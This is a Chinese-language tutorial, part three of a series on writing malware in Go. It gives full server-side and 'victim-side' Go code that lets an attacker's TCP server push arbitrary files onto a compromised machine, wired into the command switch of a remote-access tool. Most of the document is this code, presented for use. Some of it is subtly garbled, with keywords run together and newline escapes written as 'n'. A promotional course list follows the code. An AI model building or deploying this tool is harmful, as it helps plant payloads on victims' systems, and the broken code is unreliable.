欢迎回来!在前面的部分中,我们启动并运行了 TCP 服务器和客户端,甚至在目标计算机上执行系统命令。现在,是时候升级了。在这一部分中,我们将深入探讨如何将文件上传到目标计算机,逐步向您展示如何通过网络发送文件。在本指南结束时,您将具备有效启动文件传输的技能。
如果您错过了之前的 PARTS,您可以赶上
这里 : 第一部分 , 第二部分 .
此屏幕截图捕获了我们在上一部分中断的位置:在远程计算机上成功执行系统命令。现在,让我们继续前进,开始实施我们的下一个功能:文件上传到远程计算机。
首先,从服务器端实现开始,让我们为文件上传功能设置一个新目录。你可以给它起任何你喜欢的名字;在这里,我们将使用 。UploadFiles
在这个目录中,我们将创建基础代码文件,在本例中,我们称它为它。此文件将处理将文件上传到远程计算机的逻辑。upload.go
在此文件上传实现中,我们定义了几个基本的服务器端函数来管理文件传输过程。让我们分解代码的每个部分,以了解其用途及其工作原理:
1. 结构体定义
type fileStructstruct { FileNamestring FileSizeint FileContent []byte}
定义 struct 是为了封装有关文件的信息,包括其名称、大小和内容。此结构将被序列化并发送到远程计算机。fileStruct
2. 文件存在检查
funcCheckExistance(fileNamestring)bool {if _, err := os.Stat(fileName); os.IsNotExist(err) {returnfalse }returntrue}
该函数检查服务器上是否存在指定的文件。它用于获取文件信息,如果文件不存在,则返回。这对于在尝试上传文件之前验证文件非常有用。CheckExistance
os.Stat
false
3. 读取文件内容
funcReadFileContent(fileNamestring) ([]byte,error) { file, err := os.Open(fileName)if err !=nil { fmt.Println("Unable to open file:", err)returnnil, err }defer file.Close() stats, _ := file.Stat() fileSize := stats.Size() fmt.Println("File contains", fileSize,"bytes") bytes :=make([]byte, fileSize) buffer := bufio.NewReader(file) _, err = buffer.Read(bytes)return bytes, err}
该函数将文件的全部内容读取到字节数组中。它打开文件,读取其内容,并将其作为字节切片返回,稍后用于填充 中的字段。ReadFileContent
FileContent
fileStruct
4. 将文件上传到远程计算机
funcUploadFilesToRemoteMachine(connection net.Conn)error { fileName :="file.jpeg"if !CheckExistance(fileName) {return errors.New("file does not exist") } content, err := ReadFileContent(fileName)if err !=nil {return err } fileSize :=len(content) fs := &fileStruct{ FileName: fileName, FileSize: fileSize, FileContent: content, } encoder := gob.NewEncoder(connection) err = encoder.Encode(fs)if err !=nil { fmt.Println("Encoding Error:", err)return err } reader := bufio.NewReader(connection) status, err := reader.ReadString('n')if err !=nil { fmt.Println("Error reading confirmation from client:", err)return err } fmt.Println("Upload status:", status)returnnil}
该函数是管理文件上传过程的主要函数:它从 File Validation 开始,检查文件(在本例中)是否存在于服务器上;否则,它将返回错误。UploadFilesToRemoteMachine
file.jpeg
接下来是内容检索,它使用 .在此之后,在 Struct Population 中,它使用文件数据来初始化实例。然后,将发生 Serialization and Transmission,其中用于对实例进行编码并通过网络连接发送实例。ReadFileContent
fileStruct
gob.NewEncoder
fileStruct
最后,在 Confirmation 中,该函数在文件传输后等待来自客户端的消息,确认已成功收到文件。
#Server Side (uploadFilesupload.go)package uploadfilesimport ("bufio""encoding/gob""errors""fmt""net""os")type fileStructstruct { FileNamestring FileSizeint FileContent []byte}funcCheckExistance(fileNamestring)bool {if _, err := os.Stat(fileName); os.IsNotExist(err) {returnfalse }returntrue}funcReadFileContent(fileNamestring) ([]byte,error) { file, err := os.Open(fileName)if err !=nil { fmt.Println("Unable to open file:", err)returnnil, err }defer file.Close() stats, _ := file.Stat() fileSize := stats.Size() fmt.Println("File contains", fileSize,"bytes") bytes :=make([]byte, fileSize) buffer := bufio.NewReader(file) _, err = buffer.Read(bytes)return bytes, err}funcUploadFilesToRemoteMachine(connection net.Conn)error { fileName :="file.jpeg"if !CheckExistance(fileName) {return errors.New("file does not exist") } content, err := ReadFileContent(fileName)if err !=nil {return err } fileSize :=len(content) fs := &fileStruct{ FileName: fileName, FileSize: fileSize, FileContent: content, } encoder := gob.NewEncoder(connection) err = encoder.Encode(fs)if err !=nil { fmt.Println("Encoding Error:", err)return err } reader := bufio.NewReader(connection) status, err := reader.ReadString('n')if err !=nil { fmt.Println("Error reading confirmation from client:", err)return err } fmt.Println("Upload status:", status)returnnil}
S0 ..
完成服务器端代码后,让我们继续目标端(客户端),在那里我们将探索每个功能块:
1. 结构体定义
type fileStructstruct { FileNamestring FileSizeint FileContent []byte}
该结构包含正在传输的文件的信息,包括 、 和 。此结构将用于捕获从服务器接收的文件详细信息。fileStruct
FileName
FileSize
FileContent
2. 读取文件内容
funcReadFileContent(connection net.Conn)error { decoder := gob.NewDecoder(connection) fs := &fileStruct{} err := decoder.Decode(fs)if err !=nil { fmt.Println("Decoding error:", err)return err } file, err := os.Create(fs.FileName)if err !=nil { fmt.Println("Unable to create file:", err)return err }defer file.Close() nbytes, err := file.Write(fs.FileContent)if err !=nil { fmt.Println("Unable to write to file:", err)return err } fmt.Println("Number of bytes written:", nbytes)var statusstringif CheckExistance(fs.FileName) { status ="Successfully Written" }else { status ="Failed to Write" } connection.Write([]byte(status +"n"))returnnil}
该函数通过首先 用于解码从服务器发送的传入数据来管理核心文件接收过程。解码后,它会创建一个名称为 的新文件。然后,它将内容写入这个新创建的文件并确认写入的字节数。ReadFileContent
gob.NewDecoder
fileStruct
fileStruct
最后,它会验证文件在系统上是否存在,并将状态消息发送回服务器(“已成功写入”或“写入失败”)以确认上传是否成功。
#Victim Side (downloadFilesdownload.go)package downloadfilesimport ("encoding/gob""fmt""net""os")type fileStructstruct { FileNamestring FileSizeint FileContent []byte}funcCheckExistance(fileNamestring)bool {if _, err := os.Stat(fileName); os.IsNotExist(err) {returnfalse }returntrue}funcReadFileContent(connection net.Conn)error { decoder := gob.NewDecoder(connection) fs := &fileStruct{} err := decoder.Decode(fs)if err !=nil { fmt.Println("Decoding error:", err)return err } file, err := os.Create(fs.FileName)if err !=nil { fmt.Println("Unable to create file:", err)return err }defer file.Close() nbytes, err := file.Write(fs.FileContent)if err !=nil { fmt.Println("Unable to write to file:", err)return err } fmt.Println("Number of bytes written:", nbytes)var statusstringif CheckExistance(fs.FileName) { status ="Successfully Written" }else { status ="Failed to Write" } connection.Write([]byte(status +"n"))returnnil}
在结束之前,让我们将新的文件上传功能集成到主文件中,以便它可以与其他命令无缝运行。
我们确保我们的服务器和客户端已做好充分准备来处理文件上传以及其他系统命令。一切就绪后,您就可以开始机器之间的全面通信和文件传输了!
#Server Side (main.go)case "2" : fmt.Println("Uploading Files") err := uploadfiles.UploadFilesToRemoteMachine(connection)displayError(err)
#Victim Side (main.go)case "2": fmt.Println("Downloading file from server") err = downloadfiles.ReadFileContent(connection)DisplayError(err)
现在,我们已经设置了将文件从服务器发送到目标计算机的工作方法。我们介绍了如何检查文件是否存在、通过网络发送文件并确认文件成功到达。这为我们远程共享数据提供了强大的基础,使我们的设置更加灵活和互动。接下来,我们将深入研究新功能,以继续构建客户端和服务器之间的这种连接。
感谢您关注这一激动人心的步骤!请继续关注即将推出🎉🥳的更多强大功能!
其它相关课程
详细目录
QT开发底层原理与安全逆向视频教程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
windows恶意软件开发与对抗视频教程
-
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
rust语言全栈开发视频教程
-
更多详细内容添加作者微信
-
-
原文始发于微信公众号(安全狗的自我修养):Go :恶意软件开发(第三部分)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论